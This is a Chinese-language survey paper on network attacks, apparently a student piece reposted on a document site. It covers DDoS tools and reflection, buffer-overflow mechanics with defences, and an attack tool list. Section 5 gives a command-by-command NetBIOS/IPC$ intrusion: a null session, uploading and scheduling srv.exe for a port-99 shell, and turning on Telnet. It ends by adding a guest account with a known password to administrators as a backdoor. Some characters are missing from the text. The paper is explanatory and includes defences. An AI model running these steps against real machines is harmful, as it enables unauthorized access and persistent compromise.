网络安全论文

发布时间:2010-12-02 08:30:36   来源:文档文库   
字号:

目录

1 网络攻击技术简介 1

2 攻击步骤与方法 1

2.1 攻击步骤 1

2.2攻击方法 1

2.3 攻击结束 3

3 分布式拒绝服务攻击 4

3.1DDoS的诞生 4

3.2 DDoS的攻击步骤 5

3.3DDoS攻击的网络结构以及所利用的协议漏洞: 5

3.4 DDoS攻击的五种常用方式 6

3.5 DDoS攻击新技术——反弹技术 7

3.6 DDoS攻击下的防御 7

4 缓冲区溢出攻击与防御 8

4.1 缓冲区溢出攻击简介 8

4.2缓冲区溢出攻击 9

4.3缓冲区溢出的防御 10

5 一个基于Netbios的攻击实例 11

5.1 攻击步骤 11

5.2 如何防范IPC$漏洞 13

6 常用攻击工具 13

7 小结 14

1 网络攻击技术简介

攻击分类

在最高层次,攻击可被分为两类:

1 主动攻击

主动攻击包含攻击者访问他所需信息的故意行为。比如远程登录到指定机器的端口25找出公司运行的邮件服务器的信息;伪造无效IP地址去连接服务器,使接受到错误IP地址的系统浪费时间去连接哪个非法地址。攻击者是在主动地做一些不利于你或你的公司系统的事情。正因为如此,如果要寻找他们是很容易发现的。主动攻击包括拒绝服务攻击、信息篡改、资源使用、欺骗等攻击方法。

2 被动攻击

被动攻击主要是收集信息而不是进行访问,数据的合法用户对这种活动一点也不会觉察到。被动攻击包括嗅探、信息收集等攻击方法。

2 攻击步骤与方法

2.1 攻击步骤

1搜集信息

2实施入侵

3上传程序、下载数据

4利用一些方法来保持访问,如后门、特洛伊木马

5隐藏踪迹

2.2攻击方法

1 入侵攻击

拒绝服务攻击

严格来说,拒绝服务攻击并不是某一种具体的攻击方式,而是攻击所表现出来的结果,最终使得目标系统因遭受某种程度的破坏而不能继续提供正常的服务,甚至导致物理上的瘫痪或崩溃。

分布式拒绝服务攻击

高速广泛连接的网络也为DDoS攻击创造了极为有利的条件。在低速网络时代时,黑客占领攻击用的傀儡机时,总是会优先考虑离目标网络距离近的机器,因为经过路由器的跳数少,效果好。

口令攻击

攻击者攻击目标时常常把破译用户的口令作为攻击的开始。只要攻击者能猜测或者确定用户的口令,他就能获得机器或者网络的访问权,并能访问到用户能访问到的任何资源。

2 欺骗攻击

(1) IP欺骗

公司使用其他计算机的IP地址来获得信息或者得到特权。

电子信件欺骗

电子信件的发送方地址的欺骗。比如说,电子信件看上去是来自TOM,但事实上TOM没有发信,是冒充TOM的人发的信。

(2) WEB欺骗

越来越多的电子商务使用互连网。为了利用网站做电子商务,人们不得不被鉴别并被授权来得到信任。在任何实体必须被信任的时候,欺骗的机会出现了。

非技术类欺骗

这些类型的攻击是把精力集中在攻击攻击的人力因素上。它需要通过社会工程技术来实现。

3 会话劫持攻击

会话劫持(Session Hijack)是一种结合了嗅探以及欺骗技术在内的攻击手段。广义上说,会话劫持就是在一次正常的通信过程中,黑客作为第三方参与到其中,或者是在数据流(例如基于TCP的会话)里注射额外的信息,或者是将双方的通信模式暗中改变,即从直接联系变成 有黑客联系。

会话劫持利用了TCP/IP工作原理来设计攻击。

TCP会话劫持的攻击方式可以对基于TCP的任何应用发起攻击,如HTTPFTPTelnet等。

4 缓冲区溢出攻击

几十年来,缓冲区溢出一直引起许多严重的安全性问题。其中最著名的例子是:1988 年,因特网蠕虫程序在 finger 中利用缓冲区溢出感染了因特网中的数万台机器。

引起缓冲区溢出问题的根本原因是 C(与其后代 C++)本质就是不安全的,没有边界来检查数组和指针的引用,也就是开发人员必须检查边界(而这一行为往往会被忽视),否则会冒遇到问题的风险。标准 C 库中还存在许多非安全字符串操作,包括:strcpy() sprintf() gets() 等。

2.3 攻击结束

1保留访问权限

在大多数情况下, 攻击者入侵一个系统后,他可能还想在适当的时候再次进入系统。比如说,如果攻击者入侵了一个站点,将它作为一个对其他系统进行攻击的平台或者是跳板,他就会想在适当的时候登录到这个站点取回他以前存放在系统里面的工具进行新的攻击。很容易想到的方法就是在这个已经被入侵的系统中留一个后门。但是,非常关键的是,不但要留下下次进入的通道,而且还要对自己所做的一切加以隐藏,如果建立起的后门马上就被管理员发现就没有任何用处了。

2 后门和特洛伊木马

简单地说,后门(backdoor )就是攻击者再次进入网络或者是系统而不被发现的隐蔽通道。最简单的方法就是打开一个被端口监听代理所监听的代理,有很多软件可以做到这一点。

3 隐藏踪迹

当黑客成功获取了存取权限且完成了自己的预定目标后,他还有最后一个工作要完成--隐藏攻击踪迹。这其中包括重新进入系统,将所有能够表明他曾经来过的证据隐藏起来。为达到这个目的,有个方面的工作要做:

1日志文件

大多数系统都是通过记录日志文件来检测是谁进入过系统并且停留了多长时间。根据日志文件所设置的级别不同,还可以发现他们做了些什么,对哪些文件进行了操作。

2文件信息

为了获得系统的存取权限和在系统中建立后门,攻击者通常必须对某些系统文件进行修改。当他们这样做后,文件的一些信息,比如说修改时间和文件长度就会发生变化,通过这些也可以确定系统是否曾经遭受过攻击。

在很多情况下,黑客为了达到进入系统获取权限目的,必须另外上传或者安装一些文件。这些用来隐藏踪迹或者用来对别的站点进行新攻击的文件通常会占用一定的磁盘空间。系统管理员可以通过磁盘空余空间的检查来确定是否发生过攻击。

3网络通信流量

当黑客对某个系统进行攻击时,大多数情况下是通过网络进行的。这也意味着攻击者必须对自己在网络上留下的痕迹进行清除。由于网络系统都运行着IDS(入侵检测系统),任何可疑的网络通信都会被打上标记。而要抹去IDS上的记录是非常困难的,因为它是实时监测的。

3 分布式拒绝服务攻击

3.1DDoS的诞生

19998月以来,出现了一种新的网络攻击方法,这就是分布式拒绝攻击(DDoS)。之后这种攻击方法开始大行其道,成为黑客攻击的主流手段。YahooeBayCNN等众多知站点相继被身份不明的黑客在短短几天内连续破坏,系统瘫痪达几个小时甚至几十个小时之久。

拒绝服务攻击

拒绝服务攻击(Denial of Service——是一种个人或多人利用Internet协议的某些漏洞,拒绝其他用户对系统和信息的合法访问的攻击。

这类攻击使服务器充斥大量要求恢复的非法用户的信息和请求,消耗网络带宽或系统资源,导致网络或系统不胜负荷以至瘫痪而停止提供正常的网络服务。

分布式拒绝服务攻击(Distributed Denial of Service)是对拒绝服务攻击的发展。

攻击者控制大量的攻击源,然后同时向攻击目标发起的一种拒绝服务攻击。海量的信息会使得攻击目标带宽迅速消失殆尽。

相对于一般的拒绝服务攻击,分布式拒绝服务攻击有以下两个特点:

分布式拒绝服务攻击特点:由于集中了成百上千台机器同时进行攻击,其攻击力是十分巨大的。即使像YahooSina等应用了可以将负荷分摊到每个服务器的集群服务器(cluster server)技术,也难以抵挡这种攻击。

多层攻击网络结构使被攻击主机很难发现攻击者,而且大部分装有主控进程和守护进程的机器的合法用户并不知道自己是整个拒绝服务攻击网络中的一部分,即使被攻击主机监测到也无济于事。

3.2 DDoS的攻击步骤

攻击过程主要有两个步骤:攻占代理主机和向目标发起攻击。具体说来可分为以下几个步骤:

1探测扫描大量主机以寻找可入侵主机;

2入侵有安全漏洞的主机并获取控制权;

3在每台被入侵主机中安装攻击所用的客户进程或守护进程;

4向安装有客户进程的主控端主机发出命令,由它们来控制代理主机上的守护进程进行协同入侵。

3.3DDoS攻击的网络结构以及所利用的协议漏洞:

1利用 IP源路由信息的攻击

由于 TCP/ IP体系中对 IP数据包的源地址不进行验证,所以攻击者可以控制其众多代理端用捏造的IP地址发出攻击报文,并指明到达目标站点的传送路由,产生数据包溢出。

2利用 RIP协议的攻击

RIP是应用最广泛的路由协议,采用 RIP的路由器会定时广播本地路由表到邻接的路由器,以刷新路由信息。通常站点接收到新路由时直接采纳,这使攻击者有机可乘。

3利用 ICMP的攻击

绝大多数监视工具不显示ICMP包的数据部分,或不解析ICMP类型字段,所以 ICMP数据包往往能直接通过防火墙。例如,从攻击软件TFN (Tribe flood network)客户端到守护程序端的通讯可直接通过 ICMP- ECHOREPLY (Type0 )数据包完成。

可直接用于发起攻击的 ICMP报文还有:ICMP重定向报文 ( Type5 )ICMP目的站点不可达报文 ( Type3 )、数据包超时报文 ( Type11)

3.4 DDoS攻击的五种常用方式

至今为止,攻击者最常使用的分布式拒绝服务攻击程序主要包括 4种:TrinooTFNTFN2KStacheldraht

1 TrinooTribe Flood Network)攻击

Trinoo是一种用UDP包进行攻击的工具软件。与针对某特定端口的一般UDP flood攻击相比,Trinoo攻击随机指向目标端的各个UDP端口,产生大量ICMP不可到达报文,严重增加目标主机负担并占用带宽,使对目标主机的正常访问无法进行。

DDoS攻击的五种常用方式

2 TFN攻击

TFN是利用ICMP给主控端或分布端下命令 ,其来源可以做假。它可以发动SYN flood UDP flood ICMP floodSmurf(利用多台服务器发出海量数据包,实施DoS攻击 )等攻击。

3 TFN2K攻击

TFN2KTFN的增强版,它增加了许多新功能

4 Stacheldraht攻击

Stacheldraht结合了TrinooTFN的特点,并且它将attackermaster间的通信加密,增加了master端的自动更新功能,即能够自动更新daemon主机列表。

5 SHAFT攻击

SHAFT 是一种独立发展起来的DDoS攻击方法,独特之处在于:

首先,在攻击过程中,受控主机之间可以交换对分布端的控制和端口,这使得入侵检测工具难以奏效。 其次,SHAFT采用了ticket”机制进行攻击,使其攻击命令有一定秘密性。第三,SHAFT采用了独特的包统计方法使其攻击得以顺利完成。

3.5 DDoS攻击新技术——反弹技术

反弹技术就是利用反弹服务器实现攻击的技术。

所谓反弹服务器(Reflector)是指当收到一个请求数据报后就会产生一个回应数据报的主机。例如,所有的Web服务器、DNS服务器和路由服务器都是反弹服务器。攻击者可以利用这些回应的数据报对目标机器发动DDoS攻击。

反弹技术原理

反弹服务器攻击过程和传统的DDoS攻击过程相似,如前面所述的4个步骤中,只是第4步改为:攻击者锁定大量的可以作为反弹服务器的服务器群,攻击命令发出后,代理守护进程向已锁定的反弹服务器群发送大量的欺骗请求数据包,其原地址为受害服务器或目标服务器。

反弹技术实现DDoS攻击与传统DDoS攻击的区别:

1.反弹技术实现DDoS攻击比传统DDoS攻击更加难以抵御。实际上它的攻击网络结构和传统的相比多了第四层——被锁定的反弹服务器层。反弹服务器的数量可以远比驻有守护进程的代理服务器多,故反弹技术可以使攻击时的洪水流量变弱,最终才在目标机汇合为大量的洪水,其攻击规模也比传统DDoS攻击大得多。

2.目标机更难追查到攻击来源。目标机接收到的攻击数据报的源IP是真实的,反弹服务器追查到的数据报源IP是假的。又由于反弹服务器上收发数据报的流量较小(远小于代理服务器发送的数量),所以,服务器根据网络流量来自动检测是否为DDoS攻击源的这种机制将不起作用。

3.6 DDoS攻击下的防御

DDoS攻击体系的检测与防范是一个整体行为,必须从主控端、代理端、目标端分别进行。总体上包括两个方面:

一是主控端与代理端主机应防止被攻击者侵入并加以利用。

二是在目标端建立监控机制及时检测网络流量变化判断是否发生DDoS攻击以便采取适当措施。

第一种情况是我们根本的防范目标,但是这属于单机的安全防御,所以这里不加详述。第二方面是DDoS所特有的网络特征,下面将就此作一点介绍。

实际上,DDoS的唯一检测方式是:异常的网络交通流量。下面将分别介绍5种异常模式及相应的解决办法。

网络流量的几种异常模式

1负责目标机域名解析的DNS收到大量的PTR检索请求,则很有可能由DDoS发生。可以在DNS服务器进行此类匹配工作,一旦发生,做出相应的警告。(攻击前必须首先解析目的主机的IP地址)

2突然的网络流量超过网络的阈值。只是很明显的拒绝服务攻击的信号,解决办法是设置网络防火墙将来自某些地址的数据包丢掉。

3 发现超常的ICMP或者UDP数据包。这些超常的数据包通常是Attacker发往Master的控制信息。

网络监测工具的使用

一些常用的软硬件的正确应用在网络检测中起着很大的作用,比如:

1 防火墙的应用——在防火墙设置了正确的规则后,一定程度上可以识别这些拒绝服务攻击所采用的攻击方法,并将攻击包阻挡在外。

2 Scanners的应用——可以及时发现网络中存在的漏洞并及时修复;可以发现网络中后门和DDoS代理程序,以便及时清除。

3 IDS的应用——IDS可以分析所有进入网段或主机的数据包,来发现是否有人企图扫描网络或利用漏洞(不论漏洞存在与否),若是攻击者连初次的扫描也无法进行,当然也就无法作出后续攻击了。

4 缓冲区溢出攻击与防御

4.1 缓冲区溢出攻击简介

1 造成缓冲区溢出的原因是程序中没有仔细检查用户输入的参数。缓冲区溢出就是将一个超过缓冲区长度的字符串置入缓冲区的结果.

2 后果向一个有限空间的缓冲区中置入过长的字符串可能会带来两种后果

一是过长的字符串覆盖了相邻的存储单元,引起程序运行失败,严重的可导致系统崩溃;另一种后果是利用这种漏洞可以执行任意指令,甚至可以取得系统特权,由此而引发了许多种攻击方法。

4.2缓冲区溢出攻击

C语言能改变内存地址内容的语句主要有两类

1)*A B ;/* 指针型语句*

2)A[i] B ;/* 数组型语句*

其中,AB均为变量,*A为指针,A[ ]为数组,i为数组

此两种语句分别对应了两种攻击方法。

一:指针型攻击方法

在第1类语句(指针型语句)中,由于A所指向的内存地址取得B的值,因而攻击者能利用该声明来改变函数的返回地址。由此可构成第一种攻击方法,又可称为指针型攻击方法。

取得成功必须具备下列条件

1.一个循环语句,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量A

2.一个循环语句,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量B

3. (1)(2)必须在*AB执行之前,且(1)(2)执行后,不能再改变AB的值。

攻击实施过程

*AB执行之前,通过(1)(2)改变AB的值,当语句*AB执行时,变量A的新值所指向的地址*A将取得变量B的新值(即用户输入的数据)

利用这种方法,攻击者可以改变任何内存地址的内容,包括返回地址。

二:数组型攻击方法

在第二类语句(数组型语句)中,数组A[ ]中的第i个元素A[i]取得B的值。

必须满足的条件

(1)一个循环声明,用于将用户输人数据复制到一个缓冲区数组,而且不能检查数据量,同时数组必须紧靠变量B

(2)一个循环声明,用于将用户输人数据复制到数组A,而且不能检查A的上界,每次循环后i的值加1,同时数组A必须紧靠一个返回地址

实施过程一

通过(1)改变B的值,然后通过(2)B的新值循环输人数组A,直到返回地址也被该新值覆盖。这种攻击中,不仅返回地址被改变,而且介于数组A与返回地址之间的所有内存区域也全被改写。这种方法在缓冲区溢出攻击中使用得最多。

实施过程二

与指针型语句中的攻击方法类似。假设A[k]存有函数的返回地址。如果我们用第一种攻击方法使A[k]溢出,就可将返回地址的值改写成任何需要的值。

攻击成功发生必须同时满足三个条件

1 将攻击代码注入内存

2 将函数返回地址指针指向已注入攻击代码的内存地址

3 执行攻击代码

4.3缓冲区溢出的防御

这种方法的关键是要能禁止恶意代码的注入。最根本的办法是采用安全的C语言库函数的最新版本,或者由程序员编程时手工加入用以检查数组与指针等的上界的代码,对下列经常使用又容易被攻击者利用的函数更需特别重视。

strcpy(),strcat(),sprintf(),vsprintf(),gets().scanf(),以及在循环内的getc(), fgetc(), getchar()

允许缓冲区溢出但不允许改变控制流

这种方法允许注入外部代码,但禁止未经授权控制流的改变,因而攻击者可以将其攻击代码注入内存并能改变部分地址段内容,但控制流不会被指向攻击代码,从而攻击代码不会被执行。

允许改变控制流但禁止敏感代码的执行

这种方法中,可以注入攻击代码、并能改变返回地址,但攻击代码不能完全执行。

比如可以禁止诸如exec()等系统调用函数的非法使用,在Unix中,当程序使用系统调用函数时,其返回地址将被保存在系统内核堆栈中,而不是普通堆栈中。这样,通过检查系统调用的地址是否来自系统内核堆栈就可知道它是否合法。

5 一个基于Netbios的攻击实例

5.1 攻击步骤

1 扫描目标计算机

对目标计算机或的端口扫描(portscan)。使用端口扫描软件如SuperScan3.0,查看目标计算机的端口139是否打开。139端口是NetBIOS session“端口,用来进行文件和打印共享的端口。

选择192.168.11.12为攻击目标

2 列出已知共享

找到了这样的目标计算机后,先发出[cmd>net use \\IP-address\ipc$ “” /user“”]命令尝试空连接,一旦连接成功,就用[net view]命令列出已知共享。

3 映射网络硬盘

我们已经获得对方的共享列表,那么就可以用[cmd>net use X: \\IP-address\sharename]将对方共享夹映射成自己的网络硬盘。我们知道NT都有自己的隐藏共享,如:C$D$ADMIN$等,空连接成功后,我们就尝试将这些隐藏映射,当然是只有当共享不设密码或分配给everyone群组时这一攻击才有效。

4 复制攻击工具

把需要用到的工具COPY到对方机器:
C:\>copy srv.exe \\192.168.11.12\admin$ //先复制srv.exe上去。(这里的ADMIN$是指ADMIN用户的c:\winnt\system32\ 大家还可以使用c$,d$这个的意思是C盘与D盘,这看你要复制到什么地方去了)

已复制 1 个文件。

5 启动SRC

C:\>net time \\192.168.11.12 //查对方计算机的时间。\\192.168.11.12 的当前时间是 2003/6/29 上午 11:00

命令成功完成。

C:\>at \\192.168.11.12 11:05 srv.exe //at命令启动srv.exe 新加了一项作业,其作业 ID = 1

C:\>net time \\192.168.11.12 //再查查时间有没有到\\192.168.11.12 的当前时间是 2003/6/29 上午 11:05

命令成功完成。

6 启动TELNET

C:\>telnet 192.168.11.12 99 //启动telnet 注意端口是99 TELNET默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的SHELL//

此时进入命令行模式,已可对对方机器发送指令了。

虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活,所以我们打算建立一个Telnet服务,这就要用到ntlm了。

7 建立TELNET服务

C:\>copy ntlm.exe \\192.168.11.12\admin$
Copy命令把ntlm.exe上传到主机上。

C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现DONE”的时候,就说明已经启动正常。然后使用net start telnet”来开启Telnet服务。

Telnet 192.168.11.12,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单。

8 保留访问权限

为了以防万一,我们再把guest激活加到管理组

C:\>net user guest /active:yes
将对方的Guest用户激活

C:\>net user guest 1234
Guest的密码改为1234,或者你要设定的密码

C:\>net localgroup administrators guest /add
Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

5.2 如何防范IPC$漏洞

禁止建立空连接
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]
RestrictAnonymous = DWORD:00000001

禁止管理共享
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]
AutoShareServer = DWORD:00000000

6 常用攻击工具

1 SRV.exe 这个工具在流光的目录中,很多防火墙将他列为病毒。用于在主机建立一个端口为99shell。然后我们就可以TELNET IP 99上去了。

Ntlm.exe:用于修改Windows 2000 Telnet Servery身份验证的方式。

2 pfExploit.exe 远程溢出攻击:Kerio Personal Firewall (KPF)是一款个人防火墙软件。KPF的管理员鉴定程序中存在可远程使用的缓冲溢出缺陷。当管理员与防火墙为了建立加密会话的第一次握手时,将会发送包含管理员密匙信息的数据包。由于防火墙对接收的数据包缺少正确的边界检查,导致出现缓冲溢出缺陷。利用该缺陷,攻击者能在目标机器上执行任意代码。

3 TScrack.exe 远程密码破解:针对Win2000终端服务的一个密码破解程序.这个程序被微软推荐给用户使用,来检查终端服务密码的强壮性.程序使用msrdp控件,可在本地虚拟远程终端连接窗口,通过密码字典进行破解. 可以指定多种参数,使用比较灵活,破解速度视攻击主机与被攻击主机网络带宽而变化。

4 X-Scan-v2.3-cn:(X-Scan-v2.3-cn.zip)安全焦点最新出的扫描器,新增SSL插件,用于检测SSL漏洞;升级PORTHTTPIIS插件;升级图形界面并对界面风格作细微调整。

7 小结

网络攻击越来越猖獗,对网络安全造成了很大的威胁。对于任何黑客的恶意攻击,都有办法来防御,只要了解了他们的攻击手段,具有丰富的网络知识,就可以抵御黑客们的疯狂攻击。一些初学网络的朋友也不必担心,因为目前市场上也已推出许多网络安全方案,以及各式防火墙,相信在不久的将来,网络一定会是一个安全的信息传输媒体。特别需要强调的是,在任何时候都应将网络安全教育放在整个安全体系的首位,努力提高所有网络用户的安全意识和基本防范技术。这对提高整个网络的安全性有着十分重要的意义。

本文来源:https://www.2haoxitong.net/k/doc/d287ff1eb7360b4c2e3f6476.html

《网络安全论文.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度:
点击下载文档

文档为doc格式